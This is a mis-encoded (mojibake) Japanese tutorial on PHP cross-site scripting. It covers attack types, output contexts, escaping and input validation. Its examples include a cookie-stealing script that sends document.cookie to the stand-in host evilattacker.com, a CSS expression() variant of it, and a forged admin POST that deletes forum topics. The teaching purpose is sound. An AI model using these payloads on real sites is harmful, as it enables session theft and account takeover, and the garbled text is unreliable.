
ãPHPã®ã»ãã¥ãªãã£ããšããæ¬ïŒããŒã1ïŒ
ãPHPã®ã»ãã¥ãªãã£ããšããæ¬ïŒããŒã2ïŒ
ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒã¯ãããããWebã¢ããªã±ãŒã·ã§ã³ã§äžè¬çã«èŠãããæãäžè¬çãªã¿ã€ãã®è匱æ§ã§ãã çµ±èšã«ãããšãäœããã®åœ¢ã®ãµã€ãã®çŽ65ïŒ
ãXSSæ»æã«å¯ŸããŠè匱ã§ãã ãã®ããŒã¿ã¯ç§ãæããããã®ãšåãããã«ããªããæããããã¯ãã§ãã
ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ãšã¯äœã§ããïŒ
XSSæ»æã¯ãæ»æè
ãWebã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠçºè¡ãããããŒãžã«ã¹ã¯ãªããïŒå€ãã®å ŽåJavaScriptïŒãåã蟌ã¿ãã¯ã©ã€ã¢ã³ãã®ãã©ãŠã¶ãŒã§å®è¡ããæ©èœãç²åŸãããšãã«çºçããŸãã ããã¯éåžžãHTMLããŒã¿ã®ã³ã³ããã¹ããã¹ã¯ãªããã³ã³ããã¹ãã«åãæ¿ããããšã§è¡ãããŸããã»ãšãã©ã®å Žåãæ°ããHTMLãJavascriptããŸãã¯CSSããŒã¯ã¢ãããå®è£
ãããŸãã HTMLã«ã¯ãå®è¡å¯èœãªã¹ã¯ãªãããããŒãžã«è¿œå ã§ããååãªå Žæãããããã©ãŠã¶ãŒã¯ãããè¡ãããã®å€ãã®æ¹æ³ãæäŸããŸãã HTTPèŠæ±ãã©ã¡ãŒã¿ãŒãªã©ã®Webã¢ããªã±ãŒã·ã§ã³å
¥åã¯ãã³ãŒããæ¿å
¥ã§ããŸãã
XSSã«é¢é£ããåé¡ã®1ã€ã¯ãããã°ã©ãã«ãã絶ãéãªãéå°è©äŸ¡ã§ããããã¯ããã®ãããªæ·±å»ãªã¬ãã«ã®è匱æ§ã§ã¯äžè¬çã§ã¯ãããŸããã éçºè
ã¯å€ãã®å Žåãè
åšã®çšåºŠãèªèãããéåžžã誀ã£ãèŠæ¹ãæªãã¢ãããŒãã«åºã¥ããŠä¿è·ãæ§ç¯ããŸãã ã³ãŒããååãªã¹ãã«ãšç¥èã®ãªãéçºè
ã«ãã£ãŠæžãããŠããå Žåãããã¯ç¹ã«PHPã«åœãŠã¯ãŸããŸãã ããã«ãXSSæ»æã®å®éã®äŸã¯åçŽã§çŽ æŽã«èŠããããããããã調æ»ããããã°ã©ããŒã¯ãèªåã«åã£ãŠããéããä¿è·ã¯ååã§ãããšèããŠããŸãã è匱ãªãµã€ãã®65ïŒ
ãã©ãããæ¥ãŠããã®ããç°¡åã«ç¢ºèªã§ããŸãã
æ»æè
ãJavaScriptãWebããŒãžã«åã蟌ã¿ãå®è¡ã§ããå ŽåããŠãŒã¶ãŒã®ãã©ãŠã¶ã§JavaScriptãå®è¡ã§ããŸãã ãããŠãããã¯å®å
šãªå¶åŸ¡ãæäŸããŸãã å®éããã©ãŠã¶ã®èŠ³ç¹ãããã¹ã¯ãªããã¯Webã¢ããªã±ãŒã·ã§ã³ããååŸãããŸãããWebã¢ããªã±ãŒã·ã§ã³ã¯èªåçã«ä¿¡é Œã§ãããœãŒã¹ãšèŠãªãããŸãã
ãããã£ãŠãç§ã¯ããªãã«æãåºããããã§ãïŒçŸåšã®ãªã¯ãšã¹ãã®ããã«PHPèªäœã«ãã£ãŠäœæãããªãã£ãããŒã¿ã¯ä¿¡é Œã§ããŸããã ããã¯ãWebã¢ããªã±ãŒã·ã§ã³ãšã¯å¥ã®ãã©ãŠã¶ãŒã«é©çšãããŸãã
ãã©ãŠã¶ã¯ããµãŒããŒããåä¿¡ãããã¹ãŠãä¿¡é ŒããŸããããã¯ãã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ã®äž»ãªçç±ã®1ã€ã§ãã 幞ããªããšã«ããã®åé¡ã¯è§£æ±ºãããŸãããããã«ã€ããŠã¯ä»¥äžã§èª¬æããŸãã
ãã®ååã¯ããã©ãŠã¶èªäœã®JavaScriptã¢ããªã±ãŒã·ã§ã³ç°å¢ã«ããã«åºãé©çšã§ããŸãã ã¯ã©ã€ã¢ã³ãåŽã®JavaScriptã³ãŒãã¯ãéåžžã«åçŽãªãã®ããéåžžã«è€éãªãã®ãŸã§ãããå€ãã®å Žåãå¥åã®ã¯ã©ã€ã¢ã³ãåŽWebã¢ããªã±ãŒã·ã§ã³ã§ãã ãã®ãããªã¢ããªã±ãŒã·ã§ã³ã¯ãä»ã®ã¢ããªã±ãŒã·ã§ã³ãããæªãä¿è·ãããã¹ãã§ã¯ãããŸããã 圌ãã¯ããªã¢ãŒããœãŒã¹ïŒãµãŒããŒäžã®ã¢ããªã±ãŒã·ã§ã³ãå«ãïŒããåä¿¡ããããŒã¿ãä¿¡é ŒããŠã¯ãªãããæ€èšŒãé©çšããDOMã«è¡šç€ºãããã³ã³ãã³ããæ£ããã¹ã¯ãªãŒãã³ã°ãŸãã¯åŠçãããããšã確èªããå¿
èŠããããŸãã
åã蟌ã¿ã¹ã¯ãªããã¯ãããŸããŸãªã¿ã¹ã¯ã«äœ¿çšã§ããŸãã ããã¯ïŒ
- Cookieããã³èªèšŒããŒã¿ã®çé£ã
- ãŠãŒã¶ãŒã«ä»£ãã£ãŠHTTPãªã¯ãšã¹ããè¡ãã
- ãŠãŒã¶ãŒãææãããµã€ãã«ãªãã€ã¬ã¯ãããã
- ãã©ãŠã¶ã®ããŒã«ã«ãªããžããªãèªã¿åããå€æŽããããã®ã¢ã¯ã»ã¹ã
- è€éãªèšç®ãå®è¡ããçµæãæ»æè
ã®ãµãŒããŒã«éä¿¡ããŸãã
- ãã©ãŠã¶ã«ãšã¯ã¹ããã€ããé©çšãããã«ãŠã§ã¢ãããŠã³ããŒãããã
- ã¯ãªãã¯ãžã£ãã¯ã®ãŠãŒã¶ãŒã¢ã¯ãã£ããã£ã®ãšãã¥ã¬ãŒã·ã§ã³ã
- ãã©ãŠã¶ã¢ããªã±ãŒã·ã§ã³ã®äžæžããŸãã¯å¶åŸ¡ã®ååŸã
- ãã©ãŠã¶æ¡åŒµæ©èœãžã®æ»æ-
ãªã©ãç¡æéã«ç¶ç¶ããããšãã§ããŸãã
ã€ã³ã¿ãŒãã§ãŒã¹ã®ã¹ããŒãã£ã³ã°ïŒUI Redressãã¯ãªãã¯ãžã£ããã³ã°ïŒ
ãµãŒããŒã«å¯ŸããçŽæ¥æ»æã¯å®å
šã«ç¬ç«ããŠããŸãããã¯ãªãã¯ãžã£ããã³ã°ã¯ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ãšå¯æ¥ã«ãªã³ã¯ããŠããŸããããã¯ãæ»æã«åæ§ã®ãã¯ãã«ã»ããã䜿çšããããã§ãã 1ã€ã®æ»æææ³ãå¥ã®æ»æææ³ã®æåã«åœ¹ç«ã€ãããããããåºå¥ããã®ãé£ããå ŽåããããŸãã
ã€ã³ã¿ãŒãã§ã€ã¹ã¹ããŒãã£ã³ã°ã¯ãWebã¢ããªã±ãŒã·ã§ã³ã®ãŠãŒã¶ãŒUIãå€æŽããããšããæ»æè
ã®è©Šã¿ã§ãã ããã«ãããæ»æè
ã¯æ°ãããªã³ã¯ãæ°ããHTMLã³ãŒããå°å
¥ããŠãå
ã®ã€ã³ã¿ãŒãã§ã€ã¹ã®ãµã€ãºãå€æŽããããé衚瀺/ãããã¯ãããããããšãã§ããŸãã
ãã®ç« ã®ã»ãšãã©ã¯ãXSSã䜿çšããã€ã³ã¿ãŒãã§ãŒã¹ã®çœ®ãæãã«çŠç¹ãåœãŠãŠããŸãã ãã ãããã¬ãŒã ãå®è£
ã«äœ¿çšããå Žåãä»ã®ä»£æ¿æ¹æ³ããããŸãã ããã«ã€ããŠã¯ã第4ç« ã§è©³ãã説æããŸãã
ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ã®äŸ
æ»æè
ãããŠãŒã¶ãŒãã³ã¡ã³ãã®äžã«å°ããªçœ²åã衚瀺ã§ãããã©ãŒã©ã ã«åºäŒã£ããšããŸãããã æ»æè
ã¯ã¢ã«ãŠã³ããäœæããå±ãç¯å²å
ã®ãã¹ãŠã®ãããã¯ãã¹ãã ããã¡ãã»ãŒãžã«æ¬¡ã®çœ²åãé©çšããŸãã
<script>document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');</script>
å¥è·¡çã«ããã©ãŒã©ã ãšã³ãžã³ã¯ã¹ãã ãããã¯ãã¹ãŠã«ãã®çœ²åãå«ãããŠãŒã¶ãŒã¯ãã®ã³ãŒãã®ããŠã³ããŒããéå§ããŸãã çµæã¯æããã§ãã æ»æè
ã¯ãããŒãžã«iframeèŠçŽ ãæ¿å
¥ããŸããiframeèŠçŽ ã¯ãããŒãžã®äžçªäžã«å°ããªãããïŒãŒããµã€ãºïŒãšããŠè¡šç€ºããã泚æãåŒãããšã¯ãããŸããã ãã©ãŠã¶ã¯iframeã®ã³ã³ãã³ãã®ãªã¯ãšã¹ããéä¿¡ããGETãã©ã¡ãŒã¿ã®åœ¢åŒã§åãã©ãŒã©ã ã¡ã³ããŒã®Cookieå€ãæ»æè
ã®URIã«è»¢éãããŸãã ãããã¯äžèŽãããããªãæ»æã«äœ¿çšã§ããŸãã éåžžã®åå è
ã¯æ»æè
ã«é¢å¿ããããŸããããããèšç»ããããããŒãªã³ã°ã¯ééããªãããã©ãŒã©ã ãžã®ç®¡çã¢ã¯ã»ã¹ãåŸãããã«ã¯ãããŒãéåžžã«åœ¹ç«ã€ã¢ãã¬ãŒã¿ãŒãŸãã¯ç®¡çè
ã®æ³šæãåŒãä»ããŸãã
ããã¯ç°¡åãªäŸã§ãããå±éããããšãã§ããŸãã æ»æè
ããçãŸããCookieã«é¢é£ä»ããããŠãããŠãŒã¶ãŒåãç¥ããããšããŸãã ç°¡åïŒ DOMãªã¯ãšã¹ãã³ãŒããæ»æè
ã®URLã«è¿œå ããã ãã§ååã§ããããã«ãããååãè¿ãããusername = GETãªã¯ãšã¹ããã©ã¡ãŒã¿ã«å«ãŸããŸãã ãŸãã¯ãæ»æè
ã¯ã»ãã·ã§ã³ã®æçŽä¿è·ããã€ãã¹ããããã«ãã©ãŠã¶ãŒæ
å ±ãå¿
èŠãšããŸãããïŒ navigator.userAgentã«ããŒã¿ãå«ããã ãã§ååã§ãã
ãã®åçŽãªæ»æã«ã¯å€ãã®çµæããããŸãã ããšãã°ã管çè
æš©éãååŸãããã©ãŒã©ã ãå¶åŸ¡ã§ããŸãã ãããã£ãŠãXSSæ»æã®èœåãéå°è©äŸ¡ããããšã¯å®çšçã§ã¯ãããŸããã
ãã¡ããããã®äŸã§ã¯æ»æè
ã®ã¢ãããŒãã«æ¬ é¥ããããŸãã ä¿è·ããæçœãªæ¹æ³ãæ€èšããŠãã ããã æ©å¯ããŒã¿ãå«ããã¹ãŠã®Cookieã¯HttpOnlyãã©ã°ã§ããŒã¯ãããJavaScriptããããã®ãã¡ã€ã«ã®ããŒã¿ã«ã¢ã¯ã»ã¹ããããšãçŠæ¢ããŸãã åºæ¬çã«ãæ»æè
ãJavaScriptãå®è£
ãããšããã®ã¹ã¯ãªããã¯äœã§ãã§ããããšãèŠããŠããå¿
èŠããããŸãã æ»æè
ãCookieã«ã¢ã¯ã»ã¹ã§ãããCookieã䜿çšããŠæ»æãå®è¡ã§ããªãã£ãå Žåãåªç§ãªããã°ã©ããŒããã¹ãããšãå®è¡ããŸããå¹æçãªèªåæ»æã®ã³ãŒããäœæããŸãã
<script> var params = 'type=topic&action=delete&id=347'; var http = new XMLHttpRequest(); http.open('POST', 'forum.com/admin_control.php', true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", params.length); http.setRequestHeader("Connection", "close"); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { </script>
äžèšã¯ããã©ãŒã©ã ãããã¯ãåé€ããPOSTãªã¯ãšã¹ããéä¿¡ãã1ã€ã®æ¹æ³ã瀺ããŠããŸãã ã¢ãã¬ãŒã¿ãŒã«å¯ŸããŠã®ã¿æ©èœããããã«èšå®ã§ããŸãïŒã€ãŸãããŠãŒã¶ãŒåãã©ããã«è¡šç€ºãããŠããå Žåãæ¢ç¥ã®ã¢ãã¬ãŒã¿ãŒã®ãªã¹ããšæ¯èŒããããã¢ãã¬ãŒã¿ãŒã«é©çšãããŠããç¹å¥ãªã¹ã¿ã€ã«ãèŠã€ãããã§ããŸãïŒã
äžèšãããããããã«ãHttpOnly Cookieã¯ãXSSã«å¯Ÿããä¿è·ã§ã®äœ¿çšãå¶éãããŠããŸãã Cookieã®ãã£ããã£ããããã¯ããŸãããXSSæ»æäžã®äœ¿çšãé²æ¢ããŸããã ããã«ãæ»æè
ã¯ãèªåèªèº«ãæ€åºããããªãå Žåã«ç念ãæ±ãããªãããã«ãç®ã«èŠããããŒã¯ã¢ããã«ããŒã¯ãæ®ããªãããšã奜ã¿ãŸãã
XSSæ»æã®çš®é¡
XSSæ»æã¯ããã€ãã®æ¹æ³ã§åé¡ã§ããŸãã ãã®1ã€ã¯ãæªæã®ããå
¥åãWebã¢ããªã±ãŒã·ã§ã³ã«å
¥åããæ¹æ³ã«åºã¥ããŠããŸãã ã¢ããªã±ãŒã·ã§ã³ã®å
¥åã«ã¯ãåŸç¶ã®åºåèŠæ±ã«å«ããããã«ä¿åãããŠããçŸåšã®èŠæ±ã®çµæãå«ãŸããå ŽåããããŸãã ãŸãã¯ãããŒã¿ãJavaScriptããŒã¹ã®DOMæäœã«æž¡ãããšãã§ããŸãã ãããã£ãŠã次ã®ã¿ã€ãã®æ»æãååŸãããŸãã
åå°åXSSæ»æ
ããã§ã¯ãWebã¢ããªã±ãŒã·ã§ã³ã«éä¿¡ãããä¿¡é Œã§ããªãå
¥åããŒã¿ã¯ãã¢ããªã±ãŒã·ã§ã³ã®åºåã«ããã«å«ãŸããŸããã€ãŸããåããªã¯ãšã¹ãã§ãµãŒããŒãããã©ãŠã¶ã«ãåæ ããããŸãã ãšã©ãŒã¡ãã»ãŒãžãæ€çŽ¢è³æããã¬ãã¥ãŒã®æçš¿ãªã©ã§ãªãã¬ã¯ã·ã§ã³ãçºçããŸãããã®æ»æãã©ãŒã ã¯ããŠãŒã¶ãŒããªã³ã¯ããã©ãããæ»æè
ã®ãã©ãŒã ããããŒã¿ãéä¿¡ããããã«ä»åããããšãã§ããŸãã ä¿¡é Œã§ããªããªã³ã¯ãã¯ãªãã¯ããããã«ãŠãŒã¶ãŒã«åŒ·å¶ããã«ã¯ããœãŒã·ã£ã«ãšã³ãžãã¢ãªã³ã°ãã€ã³ã¿ãŒãã§ã€ã¹ã¹ããŒãã£ã³ã°æ»æããŸãã¯ãªã³ã¯ççž®ãµãŒãã¹ãå¿
èŠã«ãªãå ŽåããããŸãã ãœãŒã·ã£ã«ãããã¯ãŒã¯ãšãªã³ã¯ççž®ãµãŒãã¹èªäœã¯ãççž®ãªã³ã¯ã䜿çšããURLã®ãªãããŸãã«å¯ŸããŠç¹ã«è匱ã§ãããããããªã³ã¯ã¯ãããã®ãªãœãŒã¹ã§äžè¬çã§ããããã§ãã ã¯ãªãã¯ãããã®ã«æ³šæããŠæ
éã«ãã§ãã¯ããŠãã ããïŒ
XSS Stored Attack
ãŠãŒã¶ãŒãããŒã¿ã衚瀺ãããšãã«æªæã®ãããã€ããŒããã©ããã«ä¿åããã³ååŸããããšãæ»æã¯ä¿åæžã¿ãšããŠåé¡ãããŸãã ããŒã¿ããŒã¹ã«å ããŠããã£ãã·ã¥ããã°ãªã©ãé·æçãªããŒã¿ã¹ãã¬ãŒãžã«ãé©ããå Žæãä»ã«ããããããããŸãã ãã°ã®å°å
¥ã«ããæ¢ç¥ã®æ»æäºäŸã
DOMããŒã¹ã®XSSæ»æ
DOMããŒã¹ã®æ»æã¯ããã©ãŒåãŸãã¯ä¿åã§ããŸãã éãã¯ãæ»æã®ç®çã§ãã ã»ãšãã©ã®å Žåã圌ãã¯ããã«HTMLããã¥ã¡ã³ãã®ã¬ã€ã¢ãŠããå€æŽããããšããŸãã ãã ããHTMLã¯DOMã䜿çšããŠJavaScriptã䜿çšããŠå€æŽããããšãã§ããŸãã HTMLã«æ£åžžã«åã蟌ãŸããèŠçŽ ã¯ãJavaScriptã®DOMæäœã§åŸã§äœ¿çšã§ããŸãã æ»æã¯ãJSã©ã€ãã©ãªã®è匱æ§ãŸãã¯äžé©åãªäœ¿çšã«ããªããŸãã
Crossiteã¹ã¯ãªãããšå±éã³ã³ããã¹ã
XSSæ»æã¯ããã®éã«ã³ã³ããã¹ããå°å
¥ããããšæåããŸãã ãã³ã³ããã¹ãããšããçšèªã¯ããã©ãŠã¶ãHTMLããã¥ã¡ã³ãã®ã³ã³ãã³ããã©ã®ããã«è§£éãããã瀺ããŸãã ãã©ãŠã¶ã¯ãHTMLãHTMLãJavaScriptãURLãCSSãªã©ã®å€ãã®äž»èŠãªã³ã³ããã¹ããèªèããŸãã
æ»æè
ã®æå³ã¯ããããã®ã³ã³ããã¹ãã®ããããã察象ãšããããŒã¿ãååŸãããã©ãŠã¶ã«ããããå¥ã®ã³ã³ããã¹ãã§è§£éãããããšã§ãã äŸïŒ
<div style="background:<?php echo $colour ?>;">
$ã«ã©ãŒã¯ãŠãŒã¶ãŒèšå®ããŒã¿ããŒã¹ããå
¥åãããããã¹ããããã¯ã®èæ¯è²ã«åœ±é¿ããŸãã å€ã¯ãHTMLå±æ§ã®ã³ã³ããã¹ãã®åã§ããCSSã³ã³ããã¹ãã«å
¥åãããŸãã ã€ãŸããã¹ã¿ã€ã«å±æ§ã«CSSãè¿œå ããŸããã ãã®ãããªã³ã³ããã¹ããã©ãããåé¿ããå¿
èŠã¯ãªãããã«æãããããããŸãããã次ã®äŸãèŠãŠãã ããã
$colour = "expression(document.write('<iframe src=" .= "http://evilattacker.com?cookie=' + document.cookie.escape() + " .= "' height=0 width=0 />'))"; <div style="background:<?php echo $colour ?>;">
æ»æè
ããã®è²ã®å®è£
ã«æåããå ŽåãInternet Explorerã§ç¹å®ã®JavaScriptãå®è¡ããCSSåŒãæ¿å
¥ã§ããŸãã ã€ãŸããæ»æè
ã¯æ°ããJavaScriptã³ã³ããã¹ããå°å
¥ããããšã§çŸåšã®ã³ã³ããã¹ããåãæ¿ããããšãã§ããŸãã
åã®äŸãèŠããšãäžéšã®èªè
ã¯ãšã¹ã±ãŒããæãåºããŸãã 䜿çšããŸãïŒ
$colour = "expression(document.write('<iframe src=" .= "http://evilattacker.com?cookie=' + document.cookie.escape() + " .= "' height=0 width=0 />'))"; <div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">
IEã§ããããã¹ããããšãéåžžã«æªãããšãèµ·ãã£ãŠããããšãããã«ããããŸãã XSSæ»æã¯ãhtmlspecialcharsïŒïŒé¢æ°ã§ãšã¹ã±ãŒãããŠ$ã«ã©ãŒãåé¿ããåŸã§ããåŒãç¶ãæ£åžžã«æ©èœããŸãïŒ
ããã¯ãã³ã³ããã¹ããæ£ããç解ããããšãéèŠã§ãã åã³ã³ããã¹ãã«ã¯ç¬èªã®ç¹æ®æåãšç°ãªãã¹ã¯ãªãŒãã³ã°ã®ããŒãºããããããåã³ã³ããã¹ãã«ã¯ç°ãªããšã¹ã±ãŒãæ¹æ³ãå¿
èŠã§ãã htmlspecialcharsïŒïŒããã³htmlentitiesïŒïŒé¢æ°ãã©ãã«ã§ãåæ£ãããWebã¢ããªã±ãŒã·ã§ã³ãå®å
šã«ãªãããã«ç¥ãã ãã§ã¯ååã§ã¯ãããŸããã
åã®äŸã§äœãæªãã£ãã®ã§ããïŒ ãã©ãŠã¶ãã³ã³ããã¹ãã解éããåã«HTMLå±æ§ã®ãã¹ã¯ã解é€ããåå ã¯äœã§ããïŒ 2ã€ã®ã³ã³ããã¹ãããšã¹ã±ãŒãããå¿
èŠããããšããäºå®ãç¡èŠããŸããã
æåã«ãCSSã¯$ colorããšã¹ã±ãŒãããã¯ãã§ããããHTMLããšã¹ã±ãŒãããã®ã¯ããã ãã§ããã ããã«ããã$ã«ã©ãŒããè§æ¬åŒ§ãåŒçšç¬Šãã¹ããŒã¹ããŸãã¯åŒïŒïŒã®åã蟌ã¿ãèš±å¯ãããã®ä»ã®æåãªãã§ãæ£ããæååãªãã©ã«ã«ç¢ºå®ã«å€æãããŸãã ãã®å±æ§ã2ã€ã®ã³ã³ããã¹ããã«ããŒããŠããããšãç解ããŠããªãããã1ã€ã®HTMLå±æ§ã§ãããã®ããã«ãšã¹ã±ãŒãããŸããã ããªãäžè¬çãªééãã
ãã®ç¶æ³ããæèšãåŠã¶ããšãã§ããŸããã³ã³ããã¹ããéèŠã§ãã XSSæ»æã§ã¯ãæ»æè
ã¯åžžã«çŸåšã®ã³ã³ããã¹ãããJavaScriptãå®è¡ã§ããå¥ã®ã³ã³ããã¹ãã«ãžã£ã³ãããããšããŸãã ãã¹ãã«åºã¥ããŠHTMLåºåã¹ããªãŒã å
ã®ãã¹ãŠã®ã³ã³ããã¹ããå®çŸ©ã§ããå ŽåãXSSããWebã¢ããªã±ãŒã·ã§ã³ãæ£åžžã«ä¿è·ããããã®10ã¹ãããã«è¿ã¥ããŠããŸãã
å¥ã®äŸãèŠãŠã¿ãŸãããã
<a href="http://www.example.com">Example.com</a>
ä¿¡é Œã§ããªãå
¥åããŒã¿ãèæ
®ããªãå Žåããã®ã³ãŒãã¯æ¬¡ã®ããã«åæã§ããŸãã
- URLã³ã³ããã¹ããã€ãŸãhrefå±æ§ã®å€ããããŸãã
- HTMLå±æ§ã³ã³ããã¹ããã€ãŸãURLã³ã³ããã¹ãã®èŠªããããŸãã
- HTMLæ¬æã³ã³ããã¹ããã€ãŸã
<a>
ã¿ã°å
ã®ããã¹ãããããŸãã
ãããã¯3ã€ã®ç°ãªãã³ã³ããã¹ãã§ãã ãã®ãããããŒã¿ãœãŒã¹ãä¿¡é Œã§ããªããšç¹å®ãããå Žåãæ倧3ã€ã®ã¹ã¯ãªãŒãã³ã°æ¹æ³ãå¿
èŠã«ãªããŸãã 次ã®ã»ã¯ã·ã§ã³ã§ã¯ãXSSã«å¯Ÿããä¿è·ãšããŠã·ãŒã«ãã詳ããèŠãŠãããŸãã
ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ä¿è·
XSSããä¿è·ããããšã¯å¯èœã§ãããã§ããã°Webã¢ããªã±ãŒã·ã§ã³ã®éçºã®æåãããäŸå€ãé¿ããŠåçŽåããããšãªããä¿è·ãäžè²«ããŠé©çšããå¿
èŠããããŸãã åŸã®æ®µéã§ä¿è·ãæ¡çšãããšãè²»çšããããå ŽåããããŸãã
å
¥åæ€èšŒ
å
¥åæ€èšŒã¯ãWebã¢ããªã±ãŒã·ã§ã³ã®æåã®é²è¡ç·ã«ãããŸããã ãã®ã¿ã€ãã®ä¿è·ã§ã¯ãä¿¡é Œæ§ã®äœãããŒã¿ãçŸåšã©ã®ããã«äœ¿çšãããŠãããã®ã¿ãããããããŒã¿ãåä¿¡ãã段éã§ã¯ãããã«ã©ãã§ã©ã®ããã«é©çšãããããäºæž¬ã§ããŸããã ããã«ã¯ãã»ãŒãã¹ãŠã®ããã¹ãããŒã¿ãå«ãŸããŸããããã¯ãåŒçšç¬Šãäžçå·æ¬åŒ§ãããã³ãã®ä»ã®æåãèšè¿°ããæ©èœããŠãŒã¶ãŒã«åžžã«æäŸããå¿
èŠãããããã§ãã
æ€èšŒã¯ãå¶éå€ãæã€ããŒã¿ã«å¯ŸããXSSæ»æãé²æ¢ããããšã«ããæãå¹æçã«æ©èœããŸãã æŽæ°ã«HTMLåºæã®æåãå«ããããšã¯ã§ããŸããã åœåãªã©ã®ãã©ã¡ãŒã¿ãŒã¯ãäºåã«å®çŸ©ãããå®éã®åœã®ãªã¹ããªã©ã«å¯Ÿå¿ããå¿
èŠããããŸãã
å
¥åãæ€èšŒãããšãç¹å®ã®æ§æã§ããŒã¿ãå¶åŸ¡ã§ããŸãã ããšãã°ãæå¹ãªURLã¯ãã¬ãã£ãã¯ã¹httpïŒ//ãŸãã¯httpsïŒ//ã§å§ãŸããã¯ããã«å±éºãªjavascriptïŒãŸãã¯dataïŒæ§é ã§ã¯ãªãããå¿
èŠããããŸãã å®éãæªæ€èšŒã®å
¥åããååŸãããã¹ãŠã®ã¢ãã¬ã¹ã¯ããããã®ã¿ã°ããã§ãã¯ããå¿
èŠããããŸãã javascriptïŒãŸãã¯dataïŒURIã®ãšã¹ã±ãŒãã¯ãæå¹ãªURLã®ãšã¹ã±ãŒããšåãå¹æããããŸãã ã€ãŸããå¹æã¯ãŸã£ãããããŸããã
å
¥åæ€èšŒã§ã¯ãXSSæ»æäžã«æªæã®ãããã€ããŒãå
šäœããããã¯ããããšã¯ã§ããŸããããæãæãããªçš®é¡ã®æ»æãé»æ¢ã§ããŸãã å
¥åããŒã¿ã®æ€èšŒã«ã€ããŠã¯ãæ¬ã®åŸåã§è©³ãã説æããŸããã
ãšã¹ã±ãŒãïŒããã³ãšã³ã³ãŒãïŒ
åºåããŒã¿ãã¹ã¯ãªãŒãã³ã°ããããšã«ãããåä¿¡ããŒãµãŒãŸãã¯ã€ã³ã¿ãŒããªã¿ãŒãããŒã¿ãééããªãããã«ããŸãã æãããªäŸã¯ãHTMLã¿ã°ã瀺ãæåãå°ãªããªãããšã§ãã ä¿¡é Œã§ããªãå
¥åããŒã¿ãããããã®æåãæ¿å
¥ã§ããå Žåãæ»æè
ã¯ãã©ãŠã¶ãæç»ããæ°ããã¿ã°ãå
¥åã§ããŸãã éåžžããããã®æåã¯ãsequencesããã³$ lt;ã«çœ®ãæããããŸãã
æåã®çœ®æã«ã¯ããšã¹ã±ãŒããããããŒã¿ã®æå³ãä¿æããããšãå«ãŸããŸãã ãšã¹ã±ãŒãã¯ãåã«ç¹å®ã®æå³ãæã€æåã代æ¿æåã«çœ®ãæããŸãã éåžžã16é²è¡šçŸã䜿çšãããããHTMLã·ãŒã±ã³ã¹ãªã©ã®èªã¿ããããã®ã䜿çšãããŸãïŒäœ¿çšãå®å
šãªå ŽåïŒã
ã³ã³ããã¹ãã®ç« ã§è¿°ã¹ãããã«ããšã¹ã±ãŒãã®æ¹æ³ã¯ã泚å
¥ãããã³ã³ãã³ãã®ã¿ã€ãã«ãã£ãŠç°ãªããŸãã HTMLãšã¹ã±ãŒãã¯JavaScriptãšã¹ã±ãŒããšã¯ç°ãªããJavaScriptãšã¹ã±ãŒãã¯URLãšã¹ã±ãŒããšã¯ç°ãªããŸãã ç¹å®ã®ã³ã³ããã¹ãã«å¯ŸããŠèª€ã£ãã¹ã¯ãªãŒãã³ã°æŠç¥ã䜿çšãããšãä¿è·ã®éå¹çæ§ã«ã€ãªãããæ»æè
ã«ãã£ãŠæªçšãããå¯èœæ§ã®ããè匱æ§ãäœæãããå¯èœæ§ããããŸãã
ã·ãŒã«ãã容æã«ããããã«ããã®ç®çã®ããã«èšèšãããå¥ã®ã¯ã©ã¹ã䜿çšããããšããå§ãããŸãã PHPã¯ãå¿
èŠãªãšã¹ã±ãŒãæ©èœããã¹ãŠæäŸããããšã¯ã§ããŸããããŸããææ¡ãããŠããæ©èœã®å€ãã¯ãã»ãšãã©ã®éçºè
ãèããã»ã©å®å
šã§ã¯ãããŸããã
æãäžè¬çãªã³ã³ããã¹ãã«é©çšããããšã¹ã±ãŒãã«ãŒã«ãèŠãŠã¿ãŸãããïŒHTMLæ¬æãHTMLãJavaScriptãURLãããã³CSSå±æ§ã
ä¿¡é Œã§ããå Žæããã®å
¥å以å€ã®ããŒã¿ãå
¥åããªãã§ãã ãã
ã¹ã¯ãªãŒãã³ã°æŠç¥ãåŠã¶åã«ãWebã¢ããªã±ãŒã·ã§ã³ãã³ãã¬ãŒããããŒã¿ã眮ãå¿ããªãããšã確èªããå¿
èŠããããŸãã ããã¯ãHTMLã®æ©å¯é åã«ããŒã¿ãåã蟌ãããšãæããŸããããã«ãããæ»æè
ã¯ãããŒã¯ã¢ããã®åŠçé åºã«åœ±é¿ãäžããããšãã§ããéåžžãããã°ã©ãã䜿çšãããšãã«ãšã¹ã±ãŒãããå¿
èŠã¯ãããŸããã [...]ãåã蟌ã¿ããŒã¿ã§ããäŸãèŠãŠã¿ãŸãããã
<script>...</script> <div ...="test"/> <... href="http://www.example.com"/> <style>...</style>
äžèšã®åå Žæã¯å±éºã§ãã æååãªãã©ã«ãšæ°å€ãªãã©ã«ä»¥å€ã®ã¹ã¯ãªããã¿ã°ã®ããŒã¿ã解決ããããšã§ãæ»æã«JavaScriptãåã蟌ãããšãã§ããŸãã HTMLã³ã¡ã³ãã«é
眮ãããããŒã¿ã䜿çšããŠãInternet Explorerã®æ¡ä»¶ããã®ä»ã®äºæããªãã¢ã¯ã·ã§ã³ãããªã¬ãŒã§ããŸãã æ»æè
ãã¿ã°ãå±æ§åã«åœ±é¿ãäžããããšã誰ãèš±å¯ããªãããã次ã®2ã€ã®å Žæã¯ããæçœã§ãã æåŸã«ãã¹ã¯ãªããã®å Žåã®ããã«ãæ»æè
ãçŽæ¥CSSã«èªåèªèº«ã泚å
¥ããããšãèš±å¯ããããšã¯ã§ããŸãããããã«ãããã€ã³ã¿ãŒãã§ã€ã¹ã¹ããŒãã£ã³ã°æ»æãå®è¡ããInternet ExplorerããµããŒãããexpressionïŒïŒé¢æ°ã䜿çšããŠã¹ã¯ãªãããå®è¡ã§ããããã«ãªããŸãã
